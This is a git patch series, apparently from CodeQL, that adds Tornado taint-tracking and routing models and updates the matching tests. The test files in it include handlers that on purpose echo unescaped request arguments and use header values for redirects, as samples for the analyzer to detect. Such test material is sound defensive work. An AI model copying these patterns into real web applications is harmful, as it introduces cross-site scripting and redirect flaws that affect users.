semmle.python.dataflow.new.RemoteFlowSources +private import semmle.python.dataflow.new.TaintTracking +private import semmle.python.Concepts + +/** + * Provides models for the `tornado` PyPI package. + * See https://www.tornadoweb.org/en/stable/. + */ +private module Tornado { + // --------------------------------------------------------------------------- + // tornado + // --------------------------------------------------------------------------- + /** Gets a reference to the `tornado` module. */ + private DataFlow::Node tornado(DataFlow::TypeTracker t) { + t.start() and + result = DataFlow::importNode("tornado") + or + exists(DataFlow::TypeTracker t2 | result = tornado(t2).track(t2, t)) + } + + /** Gets a reference to the `tornado` module. */ + DataFlow::Node tornado() { result = tornado(DataFlow::TypeTracker::end()) } + + /** + * Gets a reference to the attribute `attr_name` of the `tornado` module. + * WARNING: Only holds for a few predefined attributes. + */ + private DataFlow::Node tornado_attr(DataFlow::TypeTracker t, string attr_name) { + attr_name in ["web"] and + ( + t.start() and + result = DataFlow::importNode("tornado" + "." + attr_name) + or + t.startInAttr(attr_name) and + result = tornado() + ) + or + // Due to bad performance when using normal setup with `tornado_attr(t2, attr_name).track(t2, t)` + // we have inlined that code and forced a join + exists(DataFlow::TypeTracker t2 | + exists(DataFlow::StepSummary summary | + tornado_attr_first_join(t2, attr_name, result, summary) and + t = t2.append(summary) + ) + ) + } + + pragma[nomagic] + private predicate tornado_attr_first_join( + DataFlow::TypeTracker t2, string attr_name, DataFlow::Node res, DataFlow::StepSummary summary + ) { + DataFlow::StepSummary::step(tornado_attr(t2, attr_name), res, summary) + } + + /** + * Gets a reference to the attribute `attr_name` of the `tornado` module. + * WARNING: Only holds for a few predefined attributes. + */ + private DataFlow::Node tornado_attr(string attr_name) { + result = tornado_attr(DataFlow::TypeTracker::end(), attr_name) + } + + /** Provides models for the `tornado` module. */ + module tornado { + // ------------------------------------------------------------------------- + // tornado.web + // ------------------------------------------------------------------------- + /** Gets a reference to the `tornado.web` module. */ + DataFlow::Node web() { result = tornado_attr("web") } + + /** Provides models for the `tornado.web` module */ + module web { + /** + * Gets a reference to the attribute `attr_name` of the `tornado.web` module. + * WARNING: Only holds for a few predefined attributes. + */ + private DataFlow::Node web_attr(DataFlow::TypeTracker t, string attr_name) { + attr_name in ["RequestHandler"] and + ( + t.start() and + result = DataFlow::importNode("tornado.web" + "." + attr_name) + or + t.startInAttr(attr_name) and + result = web() + ) + or + // Due to bad performance when using normal setup with `web_attr(t2, attr_name).track(t2, t)` + // we have inlined that code and forced a join + exists(DataFlow::TypeTracker t2 | + exists(DataFlow::StepSummary summary | + web_attr_first_join(t2, attr_name, result, summary) and + t = t2.append(summary) + ) + ) + } + + pragma[nomagic] + private predicate web_attr_first_join( + DataFlow::TypeTracker t2, string attr_name, DataFlow::Node res, + DataFlow::StepSummary summary + ) { + DataFlow::StepSummary::step(web_attr(t2, attr_name), res, summary) + } + + /** + * Gets a reference to the attribute `attr_name` of the `tornado.web` module. + * WARNING: Only holds for a few predefined attributes. + */ + private DataFlow::Node web_attr(string attr_name) { + result = web_attr(DataFlow::TypeTracker::end(), attr_name) + } + + /** + * Provides models for the `tornado.web.RequestHandler` class and subclasses. + * + * See https://www.tornadoweb.org/en/stable/web.html#tornado.web.RequestHandler. + */ + module RequestHandler { + /** Gets a reference to the `tornado.web.RequestHandler` class or any subclass. */ + private DataFlow::Node subclassRef(DataFlow::TypeTracker t) { + t.start() and + result = web_attr("RequestHandler") + or + // subclasses in project code + result.asExpr().(ClassExpr).getABase() = subclassRef(t.continue()).asExpr() + or + exists(DataFlow::TypeTracker t2 | result = subclassRef(t2).track(t2, t)) + } + + /** Gets a reference to the `tornado.web.RequestHandler` class or any subclass. */ + DataFlow::Node subclassRef() { result = subclassRef(DataFlow::TypeTracker::end()) } + + /** A RequestHandler class (most likely in project code). */ + private class RequestHandlerClass extends Class { + RequestHandlerClass() { this.getParent() = subclassRef().asExpr() } + } + + /** + * A source of instances of the `tornado.web.RequestHandler` class or any subclass, extend this class to model new instances. + * + * This can include instantiations of the class, return values from function + * calls, or a special parameter that will be set when functions are called by an external + * library. + * + * Use the predicate `RequestHandler::instance()` to get references to instances of the `tornado.web.RequestHandler` class or any subclass. + */ + abstract class InstanceSource extends DataFlow::Node { } + + /** The `self` parameter in a method on the `tornado.web.RequestHandler` class or any subclass. */ + private class SelfParam extends InstanceSource, RemoteFlowSource::Range, + DataFlow::ParameterNode { + SelfParam() { + exists(RequestHandlerClass cls | cls.getAMethod().getArg(0) = this.getParameter()) + } + + override string getSourceType() { result = "tornado.web.RequestHandler" } + } + + /** Gets a reference to an instance of the `tornado.web.RequestHandler` class or any subclass. */ + private DataFlow::Node instance(DataFlow::TypeTracker t) { + t.start() and + result instanceof InstanceSource + or + exists(DataFlow::TypeTracker t2 | result = instance(t2).track(t2, t)) + } + + /** Gets a reference to an instance of the `tornado.web.RequestHandler` class or any subclass. */ + DataFlow::Node instance() { result = instance(DataFlow::TypeTracker::end()) } + + /** Gets a reference to one of the methods `get_argument`, `get_body_argument`, `get_query_argument`. */ + private DataFlow::Node argumentMethod(DataFlow::TypeTracker t) { + t.startInAttr(["get_argument", "get_body_argument", "get_query_argument"]) and + result = instance() + or + exists(DataFlow::TypeTracker t2 | result = argumentMethod(t2).track(t2, t)) + } + + /** Gets a reference to one of the methods `get_argument`, `get_body_argument`, `get_query_argument`. */ + DataFlow::Node argumentMethod() { result = argumentMethod(DataFlow::TypeTracker::end()) } + + /** Gets a reference to one of the methods `get_arguments`, `get_body_arguments`, `get_query_arguments`. */ + private DataFlow::Node argumentsMethod(DataFlow::TypeTracker t) { + t.startInAttr(["get_arguments", "get_body_arguments", "get_query_arguments"]) and + result = instance() + or + exists(DataFlow::TypeTracker t2 | result = argumentsMethod(t2).track(t2, t)) + } + + /** Gets a reference to one of the methods `get_arguments`, `get_body_arguments`, `get_query_arguments`. */ + DataFlow::Node argumentsMethod() { result = argumentsMethod(DataFlow::TypeTracker::end()) } + + private class AdditionalTaintStep extends TaintTracking::AdditionalTaintStep { + override predicate step(DataFlow::Node nodeFrom, DataFlow::Node nodeTo) { + // Method access + nodeTo.(DataFlow::AttrRead).getObject() = nodeFrom and + nodeFrom = instance() and + nodeTo in [argumentMethod(), argumentsMethod()] + or + // Method call + nodeTo.asCfgNode().(CallNode).getFunction() = nodeFrom.asCfgNode() and + nodeFrom in [argumentMethod(), argumentsMethod()] + or + // Attributes + nodeFrom = instance() and + exists(DataFlow::AttrRead read | nodeTo = read and read.getObject() = nodeFrom | + read.getAttributeName() in [ + // List[str] + "path_args", + // Dict[str, str] + "path_kwargs", + // tornado.httputil.HTTPServerRequest + "request" + ] + ) + } + } + } + } + } +} diff --git a/python/ql/test/experimental/library-tests/frameworks/tornado/TestTaint.expected b/python/ql/test/experimental/library-tests/frameworks/tornado/TestTaint.expected index 48b8dc0462f..a59997a9adc 100644 --- a/python/ql/test/experimental/library-tests/frameworks/tornado/TestTaint.expected +++ b/python/ql/test/experimental/library-tests/frameworks/tornado/TestTaint.expected @@ -1,20 +1,20 @@ | taint_test.py:6 | fail | get | name | | taint_test.py:6 | fail | get | number | | taint_test.py:7 | ok | get | foo | -| taint_test.py:11 | fail | get | self.get_argument(..) | -| taint_test.py:12 | fail | get | self.get_arguments(..) | -| taint_test.py:13 | fail | get | self.get_arguments(..)[0] | -| taint_test.py:15 | fail | get | self.get_body_argument(..) | -| taint_test.py:16 | fail | get | self.get_body_arguments(..) | -| taint_test.py:17 | fail | get | self.get_body_arguments(..)[0] | -| taint_test.py:19 | fail | get | self.get_query_argument(..) | -| taint_test.py:20 | fail | get | self.get_query_arguments(..) | -| taint_test.py:21 | fail | get | self.get_query_arguments(..)[0] | -| taint_test.py:23 | fail | get | self.path_args | -| taint_test.py:24 | fail | get | self.path_args[0] | -| taint_test.py:26 | fail | get | self.path_kwargs | -| taint_test.py:27 | fail | get | self.path_kwargs["name"] | -| taint_test.py:34 | fail | get | request | +| taint_test.py:11 | ok | get | self.get_argument(..) | +| taint_test.py:12 | ok | get | self.get_arguments(..) | +| taint_test.py:13 | ok | get | self.get_arguments(..)[0] | +| taint_test.py:15 | ok | get | self.get_body_argument(..) | +| taint_test.py:16 | ok | get | self.get_body_arguments(..) | +| taint_test.py:17 | ok | get | self.get_body_arguments(..)[0] | +| taint_test.py:19 | ok | get | self.get_query_argument(..) | +| taint_test.py:20 | ok | get | self.get_query_arguments(..) | +| taint_test.py:21 | ok | get | self.get_query_arguments(..)[0] | +| taint_test.py:23 | ok | get | self.path_args | +| taint_test.py:24 | ok | get | self.path_args[0] | +| taint_test.py:26 | ok | get | self.path_kwargs | +| taint_test.py:27 | ok | get | self.path_kwargs["name"] | +| taint_test.py:34 | ok | get | request | | taint_test.py:36 | fail | get | request.uri | | taint_test.py:37 | fail | get | request.path | | taint_test.py:38 | fail | get | request.query | From 39d85896a1ca2aeb3aa6e9d2c248f6fc3f8bd51b Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen <rasmuswl@github.com> Date: Tue, 22 Dec 2020 14:37:51 +0100 Subject: [PATCH 0578/1241] Python: Add basic taint modeling of tornado request --- .../src/semmle/python/frameworks/Tornado.qll | 144 +++++++++++++++++- .../frameworks/tornado/TestTaint.expected | 38 ++--- 2 files changed, 162 insertions(+), 20 deletions(-) diff --git a/python/ql/src/semmle/python/frameworks/Tornado.qll b/python/ql/src/semmle/python/frameworks/Tornado.qll index 34e828b91b1..e898c968fcd 100644 --- a/python/ql/src/semmle/python/frameworks/Tornado.qll +++ b/python/ql/src/semmle/python/frameworks/Tornado.qll @@ -33,7 +33,7 @@ private module Tornado { * WARNING: Only holds for a few predefined attributes. */ private DataFlow::Node tornado_attr(DataFlow::TypeTracker t, string attr_name) { - attr_name in ["web"] and + attr_name in ["web", "httputil"] and ( t.start() and result = DataFlow::importNode("tornado" + "." + attr_name) @@ -221,6 +221,148 @@ private module Tornado { ) } } + + private class RequestAttrAccess extends tornado::httputil::HttpServerRequest::InstanceSource { + RequestAttrAccess() { + this.(DataFlow::AttrRead).getObject() = instance() and + this.(DataFlow::AttrRead).getAttributeName() = "request" + } + } + } + } + + // ------------------------------------------------------------------------- + // tornado.httputil + // ------------------------------------------------------------------------- + /** Gets a reference to the `tornado.httputil` module. */ + DataFlow::Node httputil() { result = tornado_attr("httputil") } + + /** Provides models for the `tornado.httputil` module */ + module httputil { + /** + * Gets a reference to the attribute `attr_name` of the `tornado.httputil` module. + * WARNING: Only holds for a few predefined attributes. + */ + private DataFlow::Node httputil_attr(DataFlow::TypeTracker t, string attr_name) { + attr_name in ["HTTPServerRequest"] and + ( + t.start() and + result = DataFlow::importNode("tornado.httputil" + "." + attr_name) + or + t.startInAttr(attr_name) and + result = httputil() + ) + or + // Due to bad performance when using normal setup with `httputil_attr(t2, attr_name).track(t2, t)` + // we have inlined that code and forced a join + exists(DataFlow::TypeTracker t2 | + exists(DataFlow::StepSummary summary | + httputil_attr_first_join(t2, attr_name, result, summary) and + t = t2.append(summary) + ) + ) + } + + pragma[nomagic] + private predicate httputil_attr_first_join( + DataFlow::TypeTracker t2, string attr_name, DataFlow::Node res, + DataFlow::StepSummary summary + ) { + DataFlow::StepSummary::step(httputil_attr(t2, attr_name), res, summary) + } + + /** + * Gets a reference to the attribute `attr_name` of the `tornado.httputil` module. + * WARNING: Only holds for a few predefined attributes. + */ + private DataFlow::Node httputil_attr(string attr_name) { + result = httputil_attr(DataFlow::TypeTracker::end(), attr_name) + } + + /** + * Provides models for the `tornado.httputil.HttpServerRequest` class + * + * See https://www.tornadoweb.org/en/stable/httputil.html#tornado.httputil.HTTPServerRequest. + */ + module HttpServerRequest { + /** Gets a reference to the `tornado.httputil.HttpServerRequest` class. */ + private DataFlow::Node classRef(DataFlow::TypeTracker t) { + t.start() and + result = httputil_attr("HttpServerRequest") + or + exists(DataFlow::TypeTracker t2 | result = classRef(t2).track(t2, t)) + } + + /** Gets a reference to the `tornado.httputil.HttpServerRequest` class. */ + DataFlow::Node classRef() { result = classRef(DataFlow::TypeTracker::end()) } + + /** + * A source of instances of `tornado.httputil.HttpServerRequest`, extend this class to model new instances. + * + * This can include instantiations of the class, return values from function + * calls, or a special parameter that will be set when functions are called by an external + * library. + * + * Use the predicate `HttpServerRequest::instance()` to get references to instances of `tornado.httputil.HttpServerRequest`. + */ + abstract class InstanceSource extends DataFlow::Node { } + + /** A direct instantiation of `tornado.httputil.HttpServerRequest`. */ + private class ClassInstantiation extends InstanceSource, DataFlow::CfgNode { + override CallNode node; + + ClassInstantiation() { node.getFunction() = classRef().asCfgNode() } + } + + /** Gets a reference to an instance of `tornado.httputil.HttpServerRequest`. */ + private DataFlow::Node instance(DataFlow::TypeTracker t) { + t.start() and + result instanceof InstanceSource + or + exists(DataFlow::TypeTracker t2 | result = instance(t2).track(t2, t)) + } + + /** Gets a reference to an instance of `tornado.httputil.HttpServerRequest`. */ + DataFlow::Node instance() { result = instance(DataFlow::TypeTracker::end()) } + + /** Gets a reference to the `full_url` method. */ + private DataFlow::Node full_url(DataFlow::TypeTracker t) { + t.startInAttr("full_url") and + result = instance() + or + exists(DataFlow::TypeTracker t2 | result = full_url(t2).track(t2, t)) + } + + /** Gets a reference to the `full_url` method. */ + DataFlow::Node full_url() { result = full_url(DataFlow::TypeTracker::end()) } + + private class AdditionalTaintStep extends TaintTracking::AdditionalTaintStep { + override predicate step(DataFlow::Node nodeFrom, DataFlow::Node nodeTo) { + // Method access + nodeTo.(DataFlow::AttrRead).getObject() = nodeFrom and + nodeFrom = instance() and + nodeTo in [full_url()] + or + // Method call + nodeTo.asCfgNode().(CallNode).getFunction() = nodeFrom.asCfgNode() and + nodeFrom in [full_url()] + or + // Attributes + nodeFrom = instance() and + exists(DataFlow::AttrRead read | nodeTo = read and read.getObject() = nodeFrom | + read.getAttributeName() in [ + // str / bytes + "uri", "path", "query", "remote_ip", "body", + // Dict[str, List[bytes]] + "arguments", "query_arguments", "body_arguments", + // dict-like, https://www.tornadoweb.org/en/stable/httputil.html#tornado.httputil.HTTPHeaders + "headers", + // Dict[str, http.cookies.Morsel] + "cookies" + ] + ) + } + } } } } diff --git a/python/ql/test/experimental/library-tests/frameworks/tornado/TestTaint.expected b/python/ql/test/experimental/library-tests/frameworks/tornado/TestTaint.expected index a59997a9adc..61e325ad430 100644 --- a/python/ql/test/experimental/library-tests/frameworks/tornado/TestTaint.expected +++ b/python/ql/test/experimental/library-tests/frameworks/tornado/TestTaint.expected @@ -15,27 +15,27 @@ | taint_test.py:26 | ok | get | self.path_kwargs | | taint_test.py:27 | ok | get | self.path_kwargs["name"] | | taint_test.py:34 | ok | get | request | -| taint_test.py:36 | fail | get | request.uri | -| taint_test.py:37 | fail | get | request.path | -| taint_test.py:38 | fail | get | request.query | -| taint_test.py:39 | fail | get | request.full_url() | -| taint_test.py:41 | fail | get | request.remote_ip | -| taint_test.py:43 | fail | get | request.body | -| taint_test.py:45 | fail | get | request.arguments | -| taint_test.py:46 | fail | get | request.arguments["name"] | -| taint_test.py:47 | fail | get | request.arguments["name"][0] | -| taint_test.py:49 | fail | get | request.query_arguments | -| taint_test.py:50 | fail | get | request.query_arguments["name"] | -| taint_test.py:51 | fail | get | request.query_arguments["name"][0] | -| taint_test.py:53 | fail | get | request.body_arguments | -| taint_test.py:54 | fail | get | request.body_arguments["name"] | -| taint_test.py:55 | fail | get | request.body_arguments["name"][0] | -| taint_test.py:58 | fail | get | request.headers | -| taint_test.py:59 | fail | get | request.headers["header-name"] | +| taint_test.py:36 | ok | get | request.uri | +| taint_test.py:37 | ok | get | request.path | +| taint_test.py:38 | ok | get | request.query | +| taint_test.py:39 | ok | get | request.full_url() | +| taint_test.py:41 | ok | get | request.remote_ip | +| taint_test.py:43 | ok | get | request.body | +| taint_test.py:45 | ok | get | request.arguments | +| taint_test.py:46 | ok | get | request.arguments["name"] | +| taint_test.py:47 | ok | get | request.arguments["name"][0] | +| taint_test.py:49 | ok | get | request.query_arguments | +| taint_test.py:50 | ok | get | request.query_arguments["name"] | +| taint_test.py:51 | ok | get | request.query_arguments["name"][0] | +| taint_test.py:53 | ok | get | request.body_arguments | +| taint_test.py:54 | ok | get | request.body_arguments["name"] | +| taint_test.py:55 | ok | get | request.body_arguments["name"][0] | +| taint_test.py:58 | ok | get | request.headers | +| taint_test.py:59 | ok | get | request.headers["header-name"] | | taint_test.py:60 | fail | get | request.headers.get_list(..) | | taint_test.py:61 | fail | get | request.headers.get_all() | | taint_test.py:62 | fail | get | ListComp | -| taint_test.py:65 | fail | get | request.cookies | -| taint_test.py:66 | fail | get | request.cookies["cookie-name"] | +| taint_test.py:65 | ok | get | request.cookies | +| taint_test.py:66 | ok | get | request.cookies["cookie-name"] | | taint_test.py:67 | fail | get | request.cookies["cookie-name"].key | | taint_test.py:68 | fail | get | request.cookies["cookie-name"].value | From 1849b9e7714a4e63946952030ac5c6316ba4e5a5 Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen <rasmuswl@github.com> Date: Tue, 22 Dec 2020 16:16:29 +0100 Subject: [PATCH 0579/1241] Python: Tornado: Handle basic route setup with tuples The reason this becomes valueable right now, is that we can mark routed params as taint-sources. Longer down the line, we can (hopefully) detect that a routed param will only accept digits, and mark it safe for some of our taint-tracking queries. --- .../src/semmle/python/frameworks/Tornado.qll | 154 +++++++++++++++++- .../frameworks/tornado/TestTaint.expected | 4 +- .../library-tests/frameworks/tornado/basic.py | 20 +-- .../frameworks/tornado/responses.py | 4 +- .../frameworks/tornado/routing_test.py | 28 ++-- .../frameworks/tornado/taint_test.py | 4 +- 6 files changed, 182 insertions(+), 32 deletions(-) diff --git a/python/ql/src/semmle/python/frameworks/Tornado.qll b/python/ql/src/semmle/python/frameworks/Tornado.qll index e898c968fcd..59c6ebfeb25 100644 --- a/python/ql/src/semmle/python/frameworks/Tornado.qll +++ b/python/ql/src/semmle/python/frameworks/Tornado.qll @@ -8,6 +8,7 @@ private import semmle.python.dataflow.new.DataFlow private import semmle.python.dataflow.new.RemoteFlowSources private import semmle.python.dataflow.new.TaintTracking private import semmle.python.Concepts +private import semmle.python.regex /** * Provides models for the `tornado` PyPI package. @@ -82,7 +83,7 @@ private module Tornado { * WARNING: Only holds for a few predefined attributes. */ private DataFlow::Node web_attr(DataFlow::TypeTracker t, string attr_name) { - attr_name in ["RequestHandler"] and + attr_name in ["RequestHandler", "Application"] and ( t.start() and result = DataFlow::importNode("tornado.web" + "." + attr_name) @@ -138,8 +139,19 @@ private module Tornado { DataFlow::Node subclassRef() { result = subclassRef(DataFlow::TypeTracker::end()) } /** A RequestHandler class (most likely in project code). */ - private class RequestHandlerClass extends Class { + class RequestHandlerClass extends Class { RequestHandlerClass() { this.getParent() = subclassRef().asExpr() } + + /** Gets a reference to this class. */ + private DataFlow::Node getARef(DataFlow::TypeTracker t) { + t.start() and + result.asExpr().(ClassExpr) = this.getParent() + or + exists(DataFlow::TypeTracker t2 | result = this.getARef(t2).track(t2, t)) + } + + /** Gets a reference to this class. */ + DataFlow::Node getARef() { result = this.getARef(DataFlow::TypeTracker::end()) } } /** @@ -229,6 +241,64 @@ private module Tornado { } } } + + /** + * Provides models for the `tornado.web.Application` class + * + * See https://www.tornadoweb.org/en/stable/web.html#tornado.web.Application. + */ + module Application { + /** Gets a reference to the `tornado.web.Application` class. */ + private DataFlow::Node classRef(DataFlow::TypeTracker t) { + t.start() and + result = web_attr("Application") + or + exists(DataFlow::TypeTracker t2 | result = classRef(t2).track(t2, t)) + } + + /** Gets a reference to the `tornado.web.Application` class. */ + DataFlow::Node classRef() { result = classRef(DataFlow::TypeTracker::end()) } + + /** + * A source of instances of `tornado.web.Application`, extend this class to model new instances. + * + * This can include instantiations of the class, return values from function + * calls, or a special parameter that will be set when functions are called by an external + * library. + * + * Use the predicate `Application::instance()` to get references to instances of `tornado.web.Application`. + */ + abstract class InstanceSource extends DataFlow::Node { } + + /** A direct instantiation of `tornado.web.Application`. */ + class ClassInstantiation extends InstanceSource, DataFlow::CfgNode { + override CallNode node; + + ClassInstantiation() { node.getFunction() = classRef().asCfgNode() } + } + + /** Gets a reference to an instance of `tornado.web.Application`. */ + private DataFlow::Node instance(DataFlow::TypeTracker t) { + t.start() and + result instanceof InstanceSource + or + exists(DataFlow::TypeTracker t2 | result = instance(t2).track(t2, t)) + } + + /** Gets a reference to an instance of `tornado.web.Application`. */ + DataFlow::Node instance() { result = instance(DataFlow::TypeTracker::end()) } + + /** Gets a reference to the `add_handlers` method. */ + private DataFlow::Node add_handlers(DataFlow::TypeTracker t) { + t.startInAttr("add_handlers") and + result = instance() + or + exists(DataFlow::TypeTracker t2 | result = add_handlers(t2).track(t2, t)) + } + + /** Gets a reference to the `add_handlers` method. */ + DataFlow::Node add_handlers() { result = add_handlers(DataFlow::TypeTracker::end()) } + } } // ------------------------------------------------------------------------- @@ -366,4 +436,84 @@ private module Tornado { } } } + + // --------------------------------------------------------------------------- + // routing + // --------------------------------------------------------------------------- + /** A sequence that defines a number of route rules */ + SequenceNode routeSetupRuleList() { + exists(CallNode call | call = any(tornado::web::Application::ClassInstantiation c).asCfgNode() | + result in [call.getArg(0), call.getArgByName("handlers")] + ) + or + exists(CallNode call | + call.getFunction() = tornado::web::Application::add_handlers().asCfgNode() + | + result in [call.getArg(1), call.getArgByName("host_handlers")] + ) + or + result = routeSetupRuleList().getElement(_).(TupleNode).getElement(1) + } + + /** A tornado route setup. */ + abstract class TornadoRouteSetup extends HTTP::Server::RouteSetup::Range { } + + /** + * A regex that is used to set up a route. + * + * Needs this subclass to be considered a RegexString. + */ + private class TornadoRouteRegex extends RegexString { + TornadoRouteSetup setup; + + TornadoRouteRegex() { + this instanceof StrConst and + DataFlow::localFlow(DataFlow::exprNode(this), setup.getUrlPatternArg()) + } + + TornadoRouteSetup getRouteSetup() { result = setup } + } + + /** A route setup using a tuple. */ + private class TornadoTupleRouteSetup extends TornadoRouteSetup, DataFlow::CfgNode { + override TupleNode node; + + TornadoTupleRouteSetup() { + node = routeSetupRuleList().getElement(_) and + count(node.getElement(_)) = 2 and + not node.getElement(1) instanceof SequenceNode + } + + override DataFlow::Node getUrlPatternArg() { result.asCfgNode() = node.getElement(0) } + + override Function getARequestHandler() { + exists(tornado::web::RequestHandler::RequestHandlerClass cls | + cls.getARef().asCfgNode() = node.getElement(1) and + // TODO: Proper MRO + result = cls.getAMethod() and + result.getName() = HTTP::httpVerbLower() + ) + } + + override Parameter getARoutedParameter() { + // If we don't know the URL pattern, we simply mark all parameters as a routed + // parameter. This should give us more RemoteFlowSources but could also lead to + // more FPs. If this turns out to be the wrong tradeoff, we can always change our mind. + exists(Function requestHandler | requestHandler = this.getARequestHandler() | + not exists(this.getUrlPattern()) and + result in [requestHandler.getArg(_), requestHandler.getArgByName(_)] and + not result = requestHandler.getArg(0) + ) + or + exists(Function requestHandler, TornadoRouteRegex regex | + requestHandler = this.getARequestHandler() and + regex.getRouteSetup() = this + | + // first group will have group number 1 + result = requestHandler.getArg(regex.getGroupNumber(_, _)) + or + result = requestHandler.getArgByName(regex.getGroupName(_, _)) + ) + } + } } diff --git a/python/ql/test/experimental/library-tests/frameworks/tornado/TestTaint.expected b/python/ql/test/experimental/library-tests/frameworks/tornado/TestTaint.expected index 61e325ad430..f14b12d580e 100644 --- a/python/ql/test/experimental/library-tests/frameworks/tornado/TestTaint.expected +++ b/python/ql/test/experimental/library-tests/frameworks/tornado/TestTaint.expected @@ -1,5 +1,5 @@ -| taint_test.py:6 | fail | get | name | -| taint_test.py:6 | fail | get | number | +| taint_test.py:6 | ok | get | name | +| taint_test.py:6 | ok | get | number | | taint_test.py:7 | ok | get | foo | | taint_test.py:11 | ok | get | self.get_argument(..) | | taint_test.py:12 | ok | get | self.get_arguments(..) | diff --git a/python/ql/test/experimental/library-tests/frameworks/tornado/basic.py b/python/ql/test/experimental/library-tests/frameworks/tornado/basic.py index fb640d99292..d90ce074319 100644 --- a/python/ql/test/experimental/library-tests/frameworks/tornado/basic.py +++ b/python/ql/test/experimental/library-tests/frameworks/tornado/basic.py @@ -2,26 +2,26 @@ import tornado.web class BasicHandler(tornado.web.RequestHandler): - def get(self): # $ MISSING: requestHandler + def get(self): # $ requestHandler self.write("BasicHandler " + self.get_argument("xss")) - def post(self): # $ MISSING: requestHandler + def post(self): # $ requestHandler self.write("BasicHandler (POST)") class DeepInheritance(BasicHandler): - def get(self): # $ MISSING: requestHandler + def get(self): # $ requestHandler self.write("DeepInheritance" + self.get_argument("also_xss")) class FormHandler(tornado.web.RequestHandler): - def post(self): # $ MISSING: requestHandler + def post(self): # $ requestHandler name = self.get_body_argument("name") self.write(name) class RedirectHandler(tornado.web.RequestHandler): - def get(self): # $ MISSING: requestHandler + def get(self): # $ requestHandler req = self.request h = req.headers url = h["url"] @@ -40,11 +40,11 @@ class ReverseInheritance(BaseReverseInheritance): def make_app(): return tornado.web.Application( [ - (r"/basic", BasicHandler), # $ MISSING: routeSetup="/basic" - (r"/deep", DeepInheritance), # $ MISSING: routeSetup="/deep" - (r"/form", FormHandler), # $ MISSING: routeSetup="/form" - (r"/redirect", RedirectHandler), # $ MISSING: routeSetup="/redirect" - (r"/reverse-inheritance", ReverseInheritance), # $ MISSING: routeSetup="/reverse-inheritance" + (r"/basic", BasicHandler), # $ routeSetup="/basic" + (r"/deep", DeepInheritance), # $ routeSetup="/deep" + (r"/form", FormHandler), # $ routeSetup="/form" + (r"/redirect", RedirectHandler), # $ routeSetup="/redirect" + (r"/reverse-inheritance", ReverseInheritance), # $ routeSetup="/reverse-inheritance" ], debug=True, ) diff --git a/python/ql/test/experimental/library-tests/frameworks/tornado/responses.py b/python/ql/test/experimental/library-tests/frameworks/tornado/responses.py index b0f4eb52fa0..fed6da1527b 100644 --- a/python/ql/test/experimental/library-tests/frameworks/tornado/responses.py +++ b/python/ql/test/experimental/library-tests/frameworks/tornado/responses.py @@ -2,7 +2,7 @@ import tornado.web class ResponseWriting(tornado.web.RequestHandler): - def get(self, type_): # $ MISSING: requestHandler routedParameter=type_ + def get(self, type_): # $ requestHandler routedParameter=type_ if type_ == "str": self.write("foo") elif type_ == "bytes": @@ -17,7 +17,7 @@ class ResponseWriting(tornado.web.RequestHandler): def make_app(): return tornado.web.Application( [ - (r"/ResponseWriting/(str|bytes|dict)", ResponseWriting), # $ MISSING: routeSetup="/ResponseWriting/(str|bytes|dict)" + (r"/ResponseWriting/(str|bytes|dict)", ResponseWriting), # $ routeSetup="/ResponseWriting/(str|bytes|dict)" ], debug=True, ) diff --git a/python/ql/test/experimental/library-tests/frameworks/tornado/routing_test.py b/python/ql/test/experimental/library-tests/frameworks/tornado/routing_test.py index 86405ecd9b4..1e3efa7c611 100644 --- a/python/ql/test/experimental/library-tests/frameworks/tornado/routing_test.py +++ b/python/ql/test/experimental/library-tests/frameworks/tornado/routing_test.py @@ -3,7 +3,7 @@ import tornado.routing class FooHandler(tornado.web.RequestHandler): - def get(self, x, y=None, not_used=None): # $ MISSING: requestHandler routedParameter=x routedParameter=y + def get(self, x, y=None, not_used=None): # $ requestHandler routedParameter=x routedParameter=y self.write("FooHandler {} {}".format(x, y)) @@ -18,32 +18,32 @@ class BazHandler(tornado.web.RequestHandler): class KwArgs(tornado.web.RequestHandler): - def get(self, *, x, y=None, not_used=None): # $ MISSING: requestHandler routedParameter=x routedParameter=y + def get(self, *, x, y=None, not_used=None): # $ requestHandler routedParameter=x routedParameter=y self.write("KwArgs {} {}".format(x, y)) class OnlyLocalhost(tornado.web.RequestHandler): - def get(self): # $ MISSING: requestHandler + def get(self): # $ requestHandler self.write("OnlyLocalhost") class One(tornado.web.RequestHandler): - def get(self): # $ MISSING: requestHandler + def get(self): # $ requestHandler self.write("One") class Two(tornado.web.RequestHandler): - def get(self): # $ MISSING: requestHandler + def get(self): # $ requestHandler self.write("Two") class Three(tornado.web.RequestHandler): - def get(self): # $ MISSING: requestHandler + def get(self): # $ requestHandler self.write("Three") class AddedLater(tornado.web.RequestHandler): - def get(self, x, y=None, not_used=None): # $ MISSING: requestHandler routedParameter=x routedParameter=y + def get(self, x, y=None, not_used=None): # $ requestHandler routedParameter=x routedParameter=y self.write("AddedLater {} {}".format(x, y)) @@ -59,26 +59,26 @@ def make_app(): # see https://www.tornadoweb.org/en/stable/routing.html for even more examples app = tornado.web.Application( [ - (r"/foo/([0-9]+)/([0-9]+)?", FooHandler), # $ MISSING: routeSetup="/foo/([0-9]+)/([0-9]+)?" + (r"/foo/([0-9]+)/([0-9]+)?", FooHandler), # $ routeSetup="/foo/([0-9]+)/([0-9]+)?" tornado.web.URLSpec(r"/bar/([0-9]+)/([0-9]+)?", BarHandler), # $ MISSING: routeSetup="/bar/([0-9]+)/([0-9]+)?" # Very verbose way to write same as FooHandler tornado.routing.Rule(tornado.routing.PathMatches(r"/baz/([0-9]+)/([0-9]+)?"), BazHandler), # $ MISSING: routeSetup="/baz/([0-9]+)/([0-9]+)?" - (r"/kw-args/(?P<x>[0-9]+)/(?P<y>[0-9]+)?", KwArgs), # $ MISSING: routeSetup="/kw-args/(?P<x>[0-9]+)/(?P<y>[0-9]+)?" + (r"/kw-args/(?P<x>[0-9]+)/(?P<y>[0-9]+)?", KwArgs), # $ routeSetup="/kw-args/(?P<x>[0-9]+)/(?P<y>[0-9]+)?" # You can do nesting (r"/(one|two|three)", [ - (r"/one", One), # $ MISSING: routeSetup="/one" - (r"/two", Two), # $ MISSING: routeSetup="/two" - (r"/three", Three) # $ MISSING: routeSetup="/three" + (r"/one", One), # $ routeSetup="/one" + (r"/two", Two), # $ routeSetup="/two" + (r"/three", Three) # $ routeSetup="/three" ]), # which is _one_ recommended way to ensure known host is used (tornado.routing.HostMatches(r"(localhost|127\.0\.0\.1)"), [ - ("/only-localhost", OnlyLocalhost) # $ MISSING: routeSetup="/only-localhost" + 